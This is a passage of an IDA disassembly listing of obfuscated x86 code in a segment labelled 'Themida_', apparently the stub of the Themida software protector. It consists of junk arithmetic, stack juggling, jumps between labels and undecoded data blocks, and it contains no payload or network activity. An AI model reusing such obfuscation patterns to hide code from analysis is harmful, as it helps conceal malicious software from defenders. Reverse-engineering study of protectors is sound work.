loc_54DBF6:				; CODE XREF: Themida_:005456DFj
		sub	dh, 0B4h
		jmp	loc_54CFEA
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 87E5E924h, 74FFFFFFh, 8F5B0424h, 0E95C2404h,	0FFFF9DAFh
; ---------------------------------------------------------------------------

loc_54DC14:				; CODE XREF: Themida_:0054FEA7j
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		jmp	loc_54AB44
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 65DE9h, 81FB0100h, 6433ABEBh, 0E933FF58h, 0FFFFC36Dh
		dd 3E2CA6B0h, 0FF94BCE9h, 240C87FFh, 0FF24248Bh, 148B2434h
		dd 0E35CE924h, 5B1FFFFh, 0E959CB88h, 0FFFFD398h
; ---------------------------------------------------------------------------

loc_54DC5C:				; CODE XREF: Themida_:005502C2j
		movzx	cx, ah
		push	small 1453h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_54A5F8
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F3h
		dd 316635C8h, 895CE9DDh, 5866FFFFh, 0C980D1F6h,	0BF18060h
		dd 0E959C800h, 0FFFFB3F6h, 4EC81h, 2C890000h, 81E58924h
		dd 4C5h, 4C58100h, 55000000h, 42474FFh,	0FFF191E9h, 58C301FFh
		dd 4BD55h, 0EB010000h, 241C335Dh, 33241C31h, 815C241Ch
		dd 8F1E59C2h, 0E9C9092Ah, 0FFFFE76Fh, 0E46DE9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DCDA:				; CODE XREF: Themida_:0054F10Aj
		add	ebx, 85D09887h
		jmp	loc_550414
; ---------------------------------------------------------------------------

loc_54DCE5:				; CODE XREF: Themida_:0054BE3Bj
		mov	edx, [esp]
		jmp	loc_54CBAD
; ---------------------------------------------------------------------------

loc_54DCED:				; CODE XREF: Themida_:0054D4F8j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54860A
; ---------------------------------------------------------------------------

loc_54DD05:				; CODE XREF: Themida_:005506EFj
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_544B12
; ---------------------------------------------------------------------------
aCaCauXaun	db '╤c─ф+(Ф─Н+X─Н╜',0
		dw 80CEh
		dd 0C8BADC6h, 11E95124h, 5C000026h, 5E08950h, 4, 0FFC619E9h
		dd 5AF128FFh, 0FFABE7E9h, 9773B9FFh, 0D101A17Bh, 5724148Bh
		dd 6DE9E789h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DD57:				; CODE XREF: Themida_:0054DFD4j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_5498E6
; ---------------------------------------------------------------------------
		dd 4A584ABBh, 0B4E95016h, 81FFFFAEh, 0A16AD2C2h, 5AD7290Fh
		dd 81242C8Bh, 4C4h, 2C78300h, 0E9243C87h, 729h,	0DA65F181h
		dd 0EB8157CDh, 3FFF3C92h, 74E9CB01h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DDB7:				; CODE XREF: Themida_:005483CFj
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54B04D
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 0A5F18108h, 318FA1BEh, 0F9E959CAh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DDDF:				; CODE XREF: Themida_:0054D4EAj
		neg	esi
		dec	esi
		xor	esi, 1D2B76A2h
		push	ecx
		push	ebp
		mov	ebp, 44DF5FDAh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5461E9
; ---------------------------------------------------------------------------

loc_54DDFF:				; CODE XREF: Themida_:005465A1j
		or	edi, eax
		pop	eax
		jmp	loc_54B9C4
; ---------------------------------------------------------------------------
		db 89h
		dd 0A19EE9E1h, 0F181FFFFh, 7B706CA2h, 7ADBE981h, 0EC05EADFh
		dd 11F7151h, 51EC2DC8h,	33591F71h, 4312404h, 0B7E4E924h
		dd 0EAC1FFFFh, 0D659E908h, 6852FFFFh, 4018h, 0E9240C89h
		dd 0FFFF88A6h, 55EF001h, 4D77706Ah, 6A2DD801h, 2D4D7770h
		dd 35C15ECCh, 287ED72Dh, 4B8D055Eh, 0E95B365Bh,	2B14h
		dd 24048B66h, 66B768h, 243C8900h, 1AE95F54h, 1FFFF82h
		dd 80EE81EEh, 8B1A4841h, 0E950242Ch, 0FFFFF4DEh, 6101BB53h
		dd 0DF297124h, 81EF295Bh, 246101C7h, 5EE95D71h,	0FF00001Ah
		dd 0FF042474h, 0F2E92434h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DEB3:				; CODE XREF: Themida_:0054C777j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 305604C1h
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_54571F
; ---------------------------------------------------------------------------
		dd 0A719E957h, 2C87FFFFh, 6FB4E924h, 0F700FFFFh, 5A23EF80h
		dd 1137E953h, 8E2D0000h, 525C4830h, 6801ACBAh, 60CA813Bh
		dd 6805307Ah, 339Eh, 0E9242C89h, 0FFFF7785h, 8650E951h
		dd 0B104FFFFh, 0D800C004h, 19E468h, 24148900h, 0B94AE951h
		dd 0C381FFFFh, 4FAA2896h, 0EB81F301h, 4FAA2896h, 8324348Bh
		dd 34FF04C4h, 89535D24h, 1794E9E3h, 0C5FE0000h,	5F3F68h
		dd 24148900h, 2CFDE9h, 0C8B6600h, 5A545224h, 0E904EC83h
		dd 0FFFF808Eh, 3EB5C581h, 0ED811027h, 703B0936h, 204C581h
		dd 0F50160D0h, 204ED81h, 0C16860D0h, 89000049h,	36BE2434h
		dd 1703B09h, 0ED815EF5h, 10273EB5h, 8324348Bh, 2C8704C4h
		dd 8B665C24h, 11E9240Ch
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFA3:				; CODE XREF: Themida_:00550F39j
		xor	edx, eax
		pop	eax
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_54A2AE
; ---------------------------------------------------------------------------
		dd 8BC4E95Bh, 57E9FFFFh, 81FFFF6Bh, 7B67B3CBh, 66E38156h
		dd 43647555h, 0FF7D1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DFCD:				; CODE XREF: Themida_:00546C13j
		pop	ecx
		add	[eax], ebp
		pop	eax
		push	dword ptr [esp]
		jmp	loc_54DD57
; ---------------------------------------------------------------------------

loc_54DFD9:				; CODE XREF: Themida_:00548180j
		and	eax, esi
		jmp	loc_550480
; ---------------------------------------------------------------------------

loc_54DFE0:				; CODE XREF: Themida_:0054D1D6j
		push	6BB9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_54FC2D
; ---------------------------------------------------------------------------
		db 66h,	50h, 88h
		dd 88D0F6F8h, 0F65866C7h, 4CFE53D7h, 0B6E90124h, 89FFFFABh
		dd 0D0882404h, 5A58C388h, 66D80059h, 81241C8Bh,	4ECh, 24048900h
		dd 0EAE9E089h, 0B9000017h, 3D853D39h, 0C2CBC181h, 0C801C27Ah
		dd 78BB5359h, 0C103DA24h, 0DDE908EBh, 5FFFFFECh, 125BBA52h
		dd 0D2F7389Bh, 0FFFAE0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E051:				; CODE XREF: Themida_:0054C507j
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_54F6B4
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 4FB7BE56h, 0E6817673h, 614076D4h, 0E905E6C1h, 0FFFFB980h
		dd 0D6F2E95Ah, 0E95FFFFFh, 0FFFF74D9h, 81E38953h, 4C3h
		dd 9E0AE900h, 48FFFFFh,	0EB5DE924h, 0D301FFFFh,	5F95EB81h
		dd 0E95A3A85h, 0EF3h, 4C581h, 0C5810000h, 2, 0FFC9F4E9h
		dd 4C483FFh, 8B66E820h,	0C481240Ch, 2, 557A68h,	240C8900h
		dd 0EC835954h, 241C8904h, 4BBh,	0E9D90100h, 0FFFF87C3h
		dd 515AD129h, 17240481h, 5A431B0Dh, 0D17EA81h, 0C159431Bh
		dd 0CEE904EAh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E0FB:				; CODE XREF: Themida_:0054CE9Ej
		sub	al, ch
		pop	ecx
		push	ecx
		mov	ch, 44h
		shr	ch, 5
		sub	ch, 44h
		jmp	loc_54D94C
; ---------------------------------------------------------------------------
		dd 0FEA9F181h, 0CB014B7Fh, 4EC8359h, 0B9240C89h, 2, 0FFF236E9h
		dd 2474FFFFh, 2434FF04h, 726EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E132:				; CODE XREF: Themida_:0054E5F3j
		push	1DE4h
		mov	[esp], ebp
		push	0ABF3060h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 697F1528h
		sub	ebp, 184D2A89h
		mov	edi, ebp
		pop	ebp
		shr	edi, 4
		add	edi, 1EAB4D50h
		push	edx
		mov	edx, 0C942AF8h
		or	edi, edx
		pop	edx
		xor	edi, 32AB4EA2h
		push	edi
		push	ecx
		mov	edi, [esp]
		jmp	loc_5468F2
; ---------------------------------------------------------------------------

loc_54E179:				; CODE XREF: Themida_:0054EAABj
		pop	esp
		xor	ebx, eax
		sub	edx, 7D3D54EFh
		jmp	loc_547B65
; ---------------------------------------------------------------------------

loc_54E187:				; CODE XREF: Themida_:005478D6j
		sub	esi, 0FB210646h
		add	ebp, 712F786Ah
		jmp	loc_5502A9
; ---------------------------------------------------------------------------
		dd 6824048Bh, 682Dh, 54243489h,	4C6815Eh, 81000000h, 4C6h
		dd 24348700h, 0EB1CE95Ch, 0F028FFFFh, 0C3305A66h, 0FF7017E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E1C5:				; CODE XREF: Themida_:00548084j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54B88B
; ---------------------------------------------------------------------------
		dd 0A520E952h, 72BAFFFFh, 81764F74h, 9E58D9F2h,	8092E959h
		dd 5954FFFFh, 4C181h, 30E90000h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E1F3:				; CODE XREF: Themida_:0054C471j
		mov	[esp], ebx
		mov	bl, 9Ch
		and	bl, 0E3h
		inc	bl
		jmp	loc_54B32D
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 7D7453F2h, 38E95308h, 47FFFFBEh, 3366F781h, 0D7F74182h
		dd 0C781DFF7h, 0BD7C9BC6h, 835FFE01h, 73E904C6h, 81FFFFF4h
		dd 423929C7h, 52EF010Ch, 0F31A86BAh, 0C0F8E935h, 8B66FFFFh
		dd 6850240Ch, 4AADh, 0E9242489h, 0FFFFE371h, 240C8B66h
		dd 815D5455h, 4ECh, 240C8900h, 171BE9h,	2C58100h, 55000000h
		dd 42474FFh, 81242C8Bh,	4C4h, 24048F00h, 243CD35Ch, 2C81E99Ch
		dd 48B0000h, 4C48124h, 2D000000h, 282D63EEh, 51E9C829h
		dd 66FFFF8Eh, 6FE99C51h, 1FFFF68h, 0A612E9FBh, 8953FFFFh
		dd 4C381E3h, 0E9000000h, 0FFFFCEDEh, 7273B850h,	0E95238D4h
		dd 8F2h
; ---------------------------------------------------------------------------

loc_54E2C4:				; CODE XREF: Themida_:00547B36j
		mov	eax, 0A8B0C12h
		jmp	loc_54F44B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 8304C483h, 48E904C4h, 89FFFFDAh, 0B551241Ch
		dd 0BEB1517Eh, 0CF287FB7h, 0B72AE959h, 8B66FFFFh, 8C68240Ch
		dd 8900005Ch, 7268243Ch, 5400003Ch, 8324048Fh, 8B042404h
		dd 0C481243Ch, 4, 0FF8FF8E9h, 786853FFh, 5B5D4D1Ah, 0EB81D3F7h
		dd 47829C7Eh, 815BDE89h, 621EE1C6h, 0EEF681CCh,	81279267h
		dd 8D3B34EAh, 1D95E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E342:				; CODE XREF: Themida_:0054BFC2j
		push	42FFh
		jmp	loc_548546
; ---------------------------------------------------------------------------
		dd 66F73166h, 9CE9FE31h, 0F7FFFFB8h, 0C5814DD5h, 0AAE30C89h
		dd 815DEB01h, 6179B6EBh, 50C32928h, 0FF87A0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E371:				; CODE XREF: Themida_:00544DA7j
		pop	ebx
		push	ebx
		jmp	loc_54A5B2
; ---------------------------------------------------------------------------
		dd 0E9FCEF80h, 0FFFFFC71h, 0BB57E95Ch, 0E1C0FFFFh, 1EC18005h
		dd 0BDF180h, 240C8BC8h,	6804C483h, 2494h, 53240C89h, 0E92DB252h
		dd 0FFFFDBE9h, 0FF6765E9h, 89FB89FFh, 241C8BDEh, 4C481h
		dd 0E95F0000h, 0FFFF7558h, 31240C33h, 0C33240Ch, 24248B24h
		dd 0FF8BFAE9h, 0D96858FFh, 8900002Ah, 8952242Ch, 4C281E2h
		dd 0E9000000h, 0FFFF694Fh, 4C281h, 0C2830000h, 24148704h
		dd 0A1BD555Ch, 312BF04Bh, 2C8B5DEEh, 4C48324h, 348BF729h
		dd 4C48124h, 0E9000000h, 0FFFFE3A4h, 8158C301h,	4C3h, 241C8700h
		dd 0FFDDF5E9h, 0D8295AFFh, 0E410BC05h, 4C21056Ah, 0BF576E53h
		dd 4C1D159Eh, 685FF829h, 50B3h,	68242C89h, 785AA957h, 0FF932DE9h
		dd 54525FFFh, 0E92434FFh, 1E7Fh, 1A5FF281h, 0F2817620h
		dd 72623CABh, 1D6CE9h, 0FE215F00h, 0F681465Fh, 434445h
		dd 1ECEE9h, 4EC8100h, 89000000h, 8B54243Ch, 0C481243Ch
		dd 4, 4C781h, 85E90000h, 51FFFF83h, 10AE9h, 4295F00h, 242C8124h
		dd 4C8E74C3h, 6DBD55h, 6C010B7Ch, 2C8B0424h, 4C48124h
		dd 0E9000000h, 0FFFF6652h, 0BB241C89h, 0ED9526Bh, 0FF88D6E9h
		dd 8B665CFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54D4DE
; ---------------------------------------------------------------------------
		dw 0BF66h
		dd 4AE92057h, 54FFFFE4h, 0FF8EDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E4E9:				; CODE XREF: Themida_:0054B607j
		push	ecx
		mov	ecx, 38h
		sub	ecx, 69E64BE0h
		add	ecx, edi
		add	ecx, 69E64BE0h
		mov	[ecx], dh
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF6D4Fh, 5309C781h, 0DF0109FBh, 5309EF81h, 0C78109FBh
		dd 188B6A3Bh, 4EF815Bh,	87000000h, 78E9243Ch, 57FFFFF0h
		dd 4F53D6BFh, 0E7814F19h, 5550F1Fh, 3069C781h, 0E7C17094h
		dd 7EFC104h, 0E675EF81h, 0FB01F245h, 58FE9h, 241C8900h
		dd 7D654368h, 21E95B7Ah
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E56B:				; CODE XREF: Themida_:005492CEj
		push	dword ptr [esp]
		jmp	loc_54A178
; ---------------------------------------------------------------------------

loc_54E573:				; CODE XREF: Themida_:0054DAB1j
		push	dword ptr [esp]
		jmp	loc_5468E3
; ---------------------------------------------------------------------------
		db 53h
		dd 468h, 0DD015B00h, 81241C8Bh,	4C4h, 5CBE5600h, 68052304h
		dd 4AEh, 0FFE926E9h, 6916BAFFh,	0E1E966B7h, 5600000Ch
		dd 0FF6CCEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E5AD:				; CODE XREF: Themida_:0054EE42j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 30132061h
		sub	edx, 3013205Dh
		add	edi, 61D94855h
		jmp	loc_54A342
; ---------------------------------------------------------------------------

loc_54E5E1:				; CODE XREF: Themida_:00546499j
		pop	edx
		pop	ecx
		xchg	edx, ebx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	5143h
		mov	[esp], edi
		jmp	loc_54E132
; ---------------------------------------------------------------------------
		dd 4245C31h, 23A4E9h, 89CB8900h, 34FF5BDAh, 0C4835924h
		dd 0D521B904h, 0D101B570h, 5A2434FFh, 0FFF549E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E61D:				; CODE XREF: Themida_:00548095j
		mov	eax, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB17Eh
; ---------------------------------------------------------------------------

loc_54E62C:				; CODE XREF: Themida_:0054CFBFj
		mov	[esp], edx
		mov	edx, 4
		add	edi, 51CF2B0Eh
		sub	edi, edx
		sub	edi, 51CF2B0Eh
		jmp	loc_5483BB
; ---------------------------------------------------------------------------
		db 1
		dd 1C8B5FF8h, 4C48324h,	3302C083h, 4312404h, 24043324h
		dd 6624248Bh, 9C240429h, 0FF64A9E9h, 261E68FFh,	24890000h
		dd 24048324h, 0C1815904h, 4, 1B22B850h,	484868BEh, 0F791D0F7h
		dd 0B95191D9h, 68BE1B23h, 159C831h, 24048BC1h, 0FFDA41E9h
		dd 0FFFB01FFh, 835F2434h, 0EF8104C4h, 188B6A3Bh, 0FFFE63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E6B1:				; CODE XREF: Themida_:0054A922j
		add	esp, 4
		jmp	loc_54B300
; ---------------------------------------------------------------------------

loc_54E6B9:				; CODE XREF: Themida_:0054A89Aj
		pop	ebx
		jmp	loc_549A97
; ---------------------------------------------------------------------------

loc_54E6BF:				; CODE XREF: Themida_:0054A968j
		mov	[esp], ax
		mov	al, ch
		push	ax
		not	byte ptr [esp]
		pop	ax
		mov	ch, al
		jmp	loc_54CE8D
; ---------------------------------------------------------------------------
		db 64h
		dd 91E932FFh, 1FFFFA7h,	0D10158C1h, 0A22BD55h, 0E9294142h
		dd 99C9E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E6EE:				; CODE XREF: Themida_:00547DD4j
		mov	ecx, 2E11EEAAh
		sub	edi, ecx
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edi
		mov	eax, esi
		pop	esi
		push	ebp
		mov	ebp, eax
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		push	27FBh
		mov	[esp], eax
		push	696B0748h
		jmp	loc_5456F3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 64E95600h, 0FF000028h,	0C8B2434h, 291DE924h, 0EC810000h
		dd 4, 89243489h, 4BA52E6h, 1000000h, 0C6815AD6h, 4, 0FF67F1E9h
		dd 4C281FFh, 83000000h,	143304C2h, 8CE4E924h, 0E958FFFFh
		dd 0FFFFBF0Ah, 3DAAEB81h, 0EB8104E2h, 0B447AA00h, 6A77C181h
		dd 0D92915F0h, 0FFE37AE9h, 243C89FFh, 0FFA743E9h, 71B0B9FFh
		dd 0E1817D83h, 7BB23EBFh, 8141D9F7h, 80AD39E9h,	59CB8946h
		dd 7984C381h, 0C329282Fh, 7984EB81h, 48B282Fh, 4C48124h
		dd 31000000h, 241C8BD8h, 4C481h, 0E9520000h, 0FFFFC1BEh
		dd 0C14305BFh, 8BFB8934h, 0C481243Ch, 4, 0FFE566E9h, 0DEC981FFh
		dd 0F71B5365h, 8BC4E9D1h, 8B66FFFFh, 89522404h,	54B850E2h
		dd 83184619h, 0E8C101E8h, 0B605E907h, 0E959FFFFh, 0FFFFC994h
		dd 0B6241489h, 80CEFEDEh, 0B75362CEh, 8E7C0B4h,	0C07DE780h
		dd 0EF8002E7h, 5BFE206Ah, 8006E6C0h, 7BE90CF6h,	81FFFFC5h
		dd 0B50378E5h, 0E953452Eh, 0FC8h, 0C381C301h, 33D94445h
		dd 0BCAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E869:				; CODE XREF: Themida_:00546379j
		sub	edi, ecx
		pop	ecx
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54A668
; ---------------------------------------------------------------------------

loc_54E877:				; CODE XREF: Themida_:005507CFj
		push	esp
		jmp	loc_546A23
; ---------------------------------------------------------------------------

loc_54E87D:				; CODE XREF: Themida_:0054F313j
		mov	esi, 7DE8550Fh
		add	esi, 0A676C7BCh
		xor	esi, 245F1CCFh
		jmp	loc_550670
; ---------------------------------------------------------------------------
		db 8Bh
		dd 56E92424h, 53FFFF67h, 0FE00C1B7h, 0FFAFFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E8A5:				; CODE XREF: Themida_:00548549j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_54CF7D
; ---------------------------------------------------------------------------

loc_54E8B1:				; CODE XREF: Themida_:0054AAA4j
		xchg	ebp, [esp]
		jmp	loc_54A91A
; ---------------------------------------------------------------------------

loc_54E8B9:				; CODE XREF: Themida_:0054D754j
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_54E8BE:				; CODE XREF: Themida_:00549D59j
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 66h,	31h, 4
		dd 3BE99C24h, 0BDFFFF62h, 2EC4BD4h, 5DD5ED81h, 4D450025h
		dd 0E5C1D5F7h, 67BA6806h, 4890000h, 7FFCB824h, 1EE94E44h
		dd 56FFFF66h, 0FF6F34E9h, 2DF801FFh, 0A8A0B6Dh,	621EE95Fh
		dd 34FFFFFFh, 24048B24h, 6F9D68h, 24148900h, 81E78957h
		dd 4C7h, 0BCE3E900h, 0F181FFFFh, 62386BEDh, 0C8BC831h
		dd 4C48324h, 0FF68C331h, 89000074h, 5D54242Ch, 0FFFC32E9h
		dd 0AABF57FFh, 297E8D1Dh, 0BB535FF8h, 1240437Ah, 41E9D829h
		dd 31FFFFD3h, 98E9242Ch, 68FFFF67h, 5D6A78D4h, 0DDCE95Eh
		dd 89500000h, 266CE9D0h, 835B0000h, 48702C0h, 1809E924h
		dd 89660000h, 32B62414h, 0FFF829E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E991:				; CODE XREF: Themida_:00547D3Ej
		add	bl, cl
		pop	cx
		add	bl, 6Ch
		push	cx
		push	edx
		mov	dh, 90h
		jmp	loc_5489A4
; ---------------------------------------------------------------------------

loc_54E9A2:				; CODE XREF: Themida_:0054DB41j
		add	ebx, 7A5928CEh
		add	ebx, ebp
		sub	ebx, 7A5928CEh
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ecx
		mov	ecx, 24h
		mov	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 3A603612h
		neg	eax
		shl	eax, 5
		add	eax, 93C72523h
		sub	edx, eax
		pop	eax
		add	edx, edi
		add	edx, 47C062E3h
		push	0C8Bh
		mov	[esp], eax
		push	edi
		mov	edi, 5D6645E7h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 222A727Fh
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	edi, 3
		dec	edi
		dec	edi
		and	edi, 270403F0h
		sub	edi, 1040330h
		mov	eax, edi
		jmp	loc_54B5E1
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 91h
		dd 66FFFFCCh, 5724048Bh, 0DBE9E789h, 1FFFF96h, 0EB815FFBh
		dd 4, 0E9241C87h, 1C14h
; ---------------------------------------------------------------------------

loc_54EA40:				; CODE XREF: Themida_:00546079j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], bx
		jmp	loc_54B87D
; ---------------------------------------------------------------------------
		db 1
		dd 0C8FDE9FBh, 8B66FFFFh, 0EC812404h, 4, 54240489h, 4EC8158h
		dd 89000000h, 0ED68242Ch, 8900006Bh, 0BE562404h, 41072402h
		dd 62BBF681h, 0E9567713h, 0C62h
; ---------------------------------------------------------------------------

loc_54EA8C:				; CODE XREF: Themida_:00548739j
		pop	ebp
		jmp	loc_54DAB6
; ---------------------------------------------------------------------------

loc_54EA92:				; CODE XREF: Themida_:00545736j
		push	esi
		mov	esi, 3EEB5FB5h
		jmp	loc_546FB0
; ---------------------------------------------------------------------------

loc_54EA9D:				; CODE XREF: Themida_:00548E67j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54E179
; ---------------------------------------------------------------------------

loc_54EAB0:				; CODE XREF: Themida_:005456AFj
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	eax, edi
		not	eax
		sub	esp, 4
		mov	[esp], edi
		push	7E55h
		mov	[esp], eax
		pop	edi
		jmp	loc_54A6AD
; ---------------------------------------------------------------------------
		db 68h
		dd 3E1A7115h, 0FF8311E9h, 0E94BB6FFh, 0FFFF80E2h, 8BEB815Fh
		dd 0E9330545h, 1284h, 0EDC1455Bh, 2B685604h, 8900002Eh
		dd 0BA52243Ch, 637C78ABh, 0FF655EE9h, 0FF5456FFh, 815E2434h
		dd 4C4h, 4C68100h, 51000000h, 4B9h, 0E9CE2900h,	0FFFF7533h
		dd 5C241C87h, 0E953C201h, 0FFFFD895h, 0F3AE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EB42:				; CODE XREF: Themida_:0054B1F6j
		pop	ebx
		jmp	loc_550C31
; ---------------------------------------------------------------------------
		dd 0D8E8E953h, 0C481FFFFh, 4, 8B24048Fh, 2FE92424h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB5F:				; CODE XREF: Themida_:005455F7j
		shr	ecx, 5
		push	ebp
		mov	ebp, 5B9071F3h
		inc	ebp
		or	ebp, 61B07CEDh
		neg	ebp
		inc	ebp
		add	ebp, 0C061BB60h
		xor	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2DAE5A37h
		xor	edx, 25321005h
		neg	edx
		inc	edx
		dec	edx
		push	eax
		mov	eax, 111709C3h
		sub	eax, 0FFFFFFFFh
		dec	eax
		shl	eax, 7
		shl	eax, 1
		add	eax, 6249658Bh
		xor	edx, eax
		jmp	loc_54FADB
; ---------------------------------------------------------------------------

loc_54EBAD:				; CODE XREF: Themida_:00550C83j
		mov	[esp], esi
		push	ecx
		jmp	loc_548A5D
; ---------------------------------------------------------------------------
		dw 15BAh
		dd 812BD66Fh, 7111F9F2h, 0EA814A32h, 67AB03D6h,	6416F281h
		dd 0C2815C97h, 1, 255FE9h, 3C8B5400h, 0C250E924h, 0C483FFFFh
		dd 79E95604h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBEB:				; CODE XREF: Themida_:00546ECDj
		sub	bl, 0F6h
		jmp	loc_549312
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB80CAEBh, 0C0B60FDDh, 6887048Dh, 0FD2h, 0FFA09CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EC09:				; CODE XREF: Themida_:0054F1EBj
		mov	bh, al
		pop	eax
		push	cx
		jmp	loc_54631B
; ---------------------------------------------------------------------------

loc_54EC13:				; CODE XREF: Themida_:0054C8BFj
		add	eax, 2F14580Eh
		add	eax, edi
		sub	esp, 4
		jmp	loc_550EC2
; ---------------------------------------------------------------------------
		dw 0CAB4h
		dd 0E972CC80h, 0FFFF674Ch
; ---------------------------------------------------------------------------

loc_54EC2C:				; CODE XREF: Themida_:0054A893j
		xor	al, bh
		pop	ebx
		push	2B01h
		jmp	loc_54ACC5
; ---------------------------------------------------------------------------
		db 2Ch,	2, 0
		dd 5A0204D0h, 3E044804h, 0FF98F7E9h, 4C581FFh, 50000000h
		dd 278B68h, 242C8900h, 2BDh, 34815500h,	78026824h, 68355842h
		dd 5D427802h, 0FFE70EE9h, 5DEE01FFh, 3DE9F301h,	0BFFFFFB6h
		dd 2B237A32h, 71FC781h,	0DFF7797Dh, 0D706E94Fh,	8B66FFFFh
		dd 54562404h, 0FF71C3E9h, 0B06866FFh, 1C89667Dh, 0D0B05024h
		dd 2C58C788h, 89AEE959h, 6D35FFFFh, 831BC52Bh, 348904ECh
		dd 579E924h, 1C890000h,	71BBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ECC6:				; CODE XREF: Themida_:0054C1A5j
		push	edx
		push	esi
		mov	esi, 8A71E2h
		jmp	loc_54AC3C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7D7AE904h, 0F121FFFFh, 78BA525Eh, 0C1490254h, 0C28103EAh
		dd 7E4E47C0h, 8105E2C1h, 57FD58C2h, 0F3E6E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ECFA:				; CODE XREF: Themida_:0054C6FAj
		mov	ecx, edx
		pop	edx
		and	ecx, 3B0D10BCh
		shl	ecx, 6
		sub	ecx, 82002CFCh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
